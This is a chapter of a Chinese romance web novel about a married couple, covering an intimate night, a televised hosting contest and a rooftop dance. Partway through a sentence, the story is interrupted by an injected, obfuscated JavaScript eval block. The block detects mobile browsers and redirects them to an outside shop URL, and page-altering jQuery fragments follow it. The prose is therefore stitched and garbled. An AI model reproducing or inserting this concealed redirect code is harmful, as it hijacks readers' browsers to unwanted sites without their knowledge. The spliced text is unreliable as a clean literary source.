38. Chapter 38
作品:《心上矜》 贿赂本身不含有平等,但由秦舒予来说,这场贿赂实在不平等得有些过分了。
她被压在床上,沈淮之亲她到一半,不知道从哪摸出了一条腰链。
细细的繁复的一根链子,镶着漂亮的紫宝石和钻石,秦舒予一眼认出那是她心仪许久的那条。
大约是这点惊喜作祟,她警惕性降低,被哄着当场戴了上去。
丝毫没想过自己原本打算用它来搭配小礼服,但现在,裙子已经被推高到了腰际。
深紫的宝石衬在她纤细的腰肢上,光芒明明灭灭,让人移不开眼,皮肤瓷白,切割完美的钻石错落点缀着,粉光生艳,流苏轻颤,人间殊色浓妍。
链条自带束缚的含义,末尾一颗紫宝石垂坠的位置意味深长,轻轻巧巧的一颗,随秦舒予无意识的动作轻晃。
沈淮之眯了眯眸,这样的视觉冲击在前,他顺从心意抵她在床上,一路亲她向下。
秦舒予手搭在他的腰,情潮涌动,不知道要不要推开他。犹豫的时刻,腰侧最终被他占领,留下了深浅不一的吻痕。
折腾得太狠,她思维凝固,有一瞬间怀疑自己会成为一条脱水的鱼。
沈淮之掌握她的状态,以口渡水,压着她又吻了半个小时才作罢。
直到彻底休息的时刻,秦舒予半睡半醒间想到自己今晚被迫“贿赂”了那么久,心间莫名来气,不由分说朝旁边拍了一巴掌,嘀咕了句:“……王八蛋。”
“……”沈淮之制住了她的手。
秦舒予睡得迷迷糊糊,那一巴掌中途就收了势,真落下的时候力度绵软,疼倒是不疼,配合那句“王八蛋”,反而有种无意识的亲昵。
深夜漆黑静谧,沈淮之抬眼,秦舒予的睡颜面向他,脸庞的弧度柔软美好,唇还微肿着,微微上翘,被折腾久了的委屈模样。
他盯她看了片刻,目光是静的。
怀着点莫名的,总不该他一个人被闹醒的想法,几秒后伸出指,按压那颗红艳的唇珠。
他只围着唇珠打转,力度不重,但在平静的无人理会的夜晚里,怎么着都有自己的存在感。
秦舒予眉头微竖,勉强从梦中回神。
迷蒙聚焦的视线里,沈淮之的手在她唇珠上乱按,见她醒了,又转道去捏她的脸颊。
刚醒时的反应很迟钝,秦舒予没意识到他具体的行为。
但她明确知道谁是打扰自己睡眠的罪魁祸首。
她不高兴地推了一把,“你别吵我睡觉……你又干嘛?”
沈淮之掐着她,神情毫无歉疚:“做点王八蛋该做的事情。”
秦舒予:……?有毛病?
她想不起来自己这样骂过他,瞪了他半天,觉得自己都要气得彻底醒了。
莫名其妙的狗男人……她一偏头在他食指上留下个牙印:“你知道自己是王八蛋就好。”
她困着,咬人的力度也就比那一巴掌好一点。
沈淮之重掐回她,“没力气了还要咬人?”
“咬疼了你嫌弃,咬轻点你还说……你才是怎么那么难伺候?”秦舒予咕哝了句。
她不耐烦被继续作弄,飞快甩几下脑袋,在后退和按兵不动里,选择迎难而上,把脸埋在敌人的怀里抵御攻击。
“能不能好好睡觉?你要实在睡不着自己上书房去……别吵我。”
嘴上赶他去书房,动作却是紧贴着。
沈淮之抬眉,手从她脸上移开,变成了揽她。
一点不可多言的满足情绪在他心底蔓延。
他略微拍了拍她,“睡吧。”
.
十天的时间匆匆而过,很快到了去演播室录制比赛的那天。
电视台对秦舒予不算特别新鲜,当众展示自己也从来不是她的弱项。
但这一次,她参加的是会被全国观众看到的比赛。
很难得的,她在登台的时刻竟有了些许紧张。
第一赛段是随机抽签的即兴考核环节,结果出来,秦舒予拿到的题目是模拟主持一场星空草地音乐节。
节目组留了几分钟的准备时间,秦舒予盯着题目,思绪一瞬间微偏,想起沈淮之说的话。
他说只要她主持,他就会看……那也一定包括这场比赛。
有一晚的天气很好,黑丝绒的夜空中铺着很多的星星。秦舒予心血来潮,让人在楼顶的泳池边上搬了张躺椅。
夏天的气温,羊绒披肩连叠在身下当垫子都不够格。
挑剔的主人嫌弃地将它扔在一边,直接躺了下去。
手机在播放音乐,沈淮之上来的时候,正看到秦舒予微眯着眼,很舒适的模样。
他刚到家,秦舒予却已经在上面待了一个小时。
管家正怕她睡着了不小心受凉,见他回来,忙把这事说了。
现在来看,受不受凉另说,他的这位太太的确还挺会享受。
秦舒予听歌观星,从脚步声判断出身后的来人。
她没有回头,侧边伸出胳膊,愉悦地朝他招手,“你要不要也搬张椅子过来?这边躺着很舒服。”
楼顶只开了小范围的光源,之前网上流行日落氛围灯,圆圆的灯光,照出来的光线黄粉融合,像朦胧美丽的落日余晖。
秦舒予也跟风买了个,刚才让阿姨一起搬上来。
私藏的晚霞斜打在泳池边上,随夜风飘摇,向四面投落出粼粼的、不明显的水波纹。
她的建议没得到应和,沈淮之走到她身侧,低眸看到她身上的热裤和露脐小吊带。
一点微弱的明灭摇曳着,秦舒予毫无形象地翘起腿,笔直的弧度上面,细微的涟漪轻晃。
沈淮之抬了抬眉。
人鱼喜水,天台也被她布置得像海底世界。
他刚下班到家,人显得散漫,单手松开领带,随意地问:“桂姨说你在上面待了一个小时了,还没待够?”
“没呢,我再待会儿。”
旁边的小圆桌上有杯奶茶,秦舒予拿过来喝了一口,“这里现在正舒服,我才不要下去。”
沈淮之往四周打量了眼,没反驳这句话。
天台的微风带来水池的凉意,他脱下西装,搭在了一边的泳池扶手上。
音乐这时播放到了一首悠扬轻松的小提琴曲,秦舒予忽来了聊天的兴致:“你知不知道,我跳得最开心的一次舞是在什么时候?”
这里只有一个听众。
桌子上放了些其他饮料,秦舒予只图摆出来好看,不会去喝。
沈淮之不喜欢吃甜,目光微停在一瓶颜色漂亮的果味酒上,转道去拿了旁边的罐装啤酒。
路灯在远处铺成一条线。
他喉结随意一滑,寻常的酒液进了喉咙,听见秦舒予的问。
顿了顿,还算配合地接了腔:“什么时候?”
圈子里的跳舞多半具有交际性质,他想到秦舒予应该是和谁跳了一次舞,不知道什么原因,念念不忘至今。
从小参加的大大小小的舞会晚宴那么多,不知道何时的一支舞,她居然能一直记到现在。
啤酒罐暴露在空气里的时间过长,沾了人一手湿漉的水珠。
沈淮之低眸看了眼,皱了皱眉。
秦舒予的余光一直在注意他,此时见状,不免腹诽沈淮之果然是有毛病。
小水珠沾满了罐身,他拿的时候没见说什么,这会儿又嫌弃起来了。
这么阴晴不定,他的员工到底怎么忍得了他的?
这话只在心里偷偷说。
秦舒予瞄着他抽出纸巾擦拭手指,面上毫无异常:
“就我上三年级那会儿,学校六十周年校庆,我告诉老师肚子疼,从开会的礼堂里跑出来去外边玩了。”
“三年级。”
沈淮之平淡接了句,似笑非笑,“从小就不学好。”
“管你怎么想,”秦舒予含着一口珍珠,朝他晃动手指,“反正年年的三好学生都有我。”
沈淮之不置一词。
今天的珍珠又软又糯,秦舒予愉悦的微眯眼,嚼碎咽了下去。
“那时候学校里都没什么人,大家都在礼堂听校长讲话,我溜到多媒体教室,你猜怎么着……那里居然在放电影!”
“放的什么?”
“嗯……你如果非要知道的话,《芭比之十二个芭蕾公主》。”
“……”
沈淮之停了几秒,状似礼貌地开口,“很符合你的品味。”
“……”秦舒予的脸颊迅速鼓起一口闷
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13737869|141715||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
气。
她强烈反驳:“难道你要指望一个小学生对什么电影圣经感兴趣,并久久驻足欣赏吗?”
沈淮之颔首,眼底的宽容居高临下,是面对小孩子时才会有的神情:“你说的对。”
秦舒予气得差点要去拿东西砸他。
周围没趁手的物件,她左看右看,憋闷地放下手,暂时饶了狗男人一命。
但她不愿意继续说了,撇过头去,“我不想讲了,剩下的你自己猜吧。”
沈淮之轻抬眉梢:“不学好就算了,耐心也差。”
他像是真的好奇,目光落在她的脸上,带了点不动声色的戏谑,“怎么评上三好学生的?”
秦舒予凉凉看他一眼,“你猜。”
沈淮之不会去猜,他漫不经心地牵起唇角:“让我去猜的话,你接下来可能会后悔。”
“……”秦舒予在他的目光里,忽然想起沈淮之作为集团总裁,平时只关注下属交上来的结果。
他将这点习惯带到了日常生活里,极少在不重要的地方浪费言辞和心力。
他面对她时,只在一种场景下猜过什么。
那甚至也算不上猜测,只是他恶劣的,折磨她的手段。
夜色深深,他吻着她,自若地喊她舒予,问她是喜欢这样,还是重一点更舒服?
她抓着他的衣服,无论回答什么,最后总能被逼出生理性的眼泪,灵魂攀高欲死。
秦舒予想到这,不明显地抖了一下。
差点没拿稳奶茶。
她先天输了气势,抗议也虚弱无力:“你不能动不动就拿这种事威胁我……万一我不吃威胁呢?”
“你会吗?”
“……”秦舒予十分不高兴地咬了一口吸管。
她吸了吸鼻子,滑跪归滑跪,嘴上仍要讨风头:“好吧好吧,你要是真想知道,我就大发善心告诉你……”
她瞄着身边的男人:“反正电影很好看,歌也好听,我就看入迷了嘛……后面公主要跳舞,我就在教室里跟着转起了圈圈。”
周围无人,她跟着电影里的情节,想象自己和好朋友一起换上漂亮礼裙,偷跑出华丽的寂寞城堡,来到天鹅湖与等候的王子一起翩翩起舞。
偷溜出来的桥段太相似,目的地又播着这样一部动画片,而她这几天恰好就在和舞蹈老师学习交谊舞……
秦舒予后面自信过头地想到,自己果然是个公主。
小提琴曲渐近尾声,一段美妙的童年奇遇记也伴随小公主的自信落下了帷幕。
唯一的观众没什么反应,秦舒予皱皱鼻子,沈淮之不打算说点什么?
她质问:“你该不会又在笑话我吧?我好心好意和你分享我的童年趣事,我那时候只是个小学生,幼稚点又怎么了……你不可以以怨报德!”
啤酒罐上的水珠已经被擦干净,沈淮之微微晃了晃,不自觉有点发笑。
他也不知道,是笑秦舒予这番话,还是她最愉快的一次记忆,居然是一个人在教室转着圈。
偌大的天台边,氛围灯的水波还在轻轻晃动。
水光明灭,星子闪耀,一切安闲温柔。
他放下手中的酒,朝她走了过去。
秦舒予不明所以地眨了眨眼,刚想说他倒也不必离她那么近,她刚凶完他,这会儿还怪慌的……
话没说出口,她眼睁睁看着沈淮之伸出一截修长优雅的指骨,俯身在她面前停下,声线低沉,裹挟着深邃的夜色——
“愿意和我跳支舞么,舒予?”
“……!”秦舒予愕然抬眸。
下一支曲,恰好是那首经典的华尔兹圆舞曲。
星夜太静谧。
她失神地搭上了他的手。
温度相接的那一瞬,秦舒予的眼睫如同受惊的蝶翅。
没人会在公主的电影里关注王子,她当时一个人,没觉得有什么所谓。
但如果,等候她的人正是眼前的沈淮之……?
音乐悠扬,夜风带来远处玫瑰的馥郁。
牵着她的人掌心温热。
眼眸漆黑,在无边浩瀚里沉静地将她凝望。
心跳贴近。
……她忽觉遗憾。
原来之前,还不够圆满。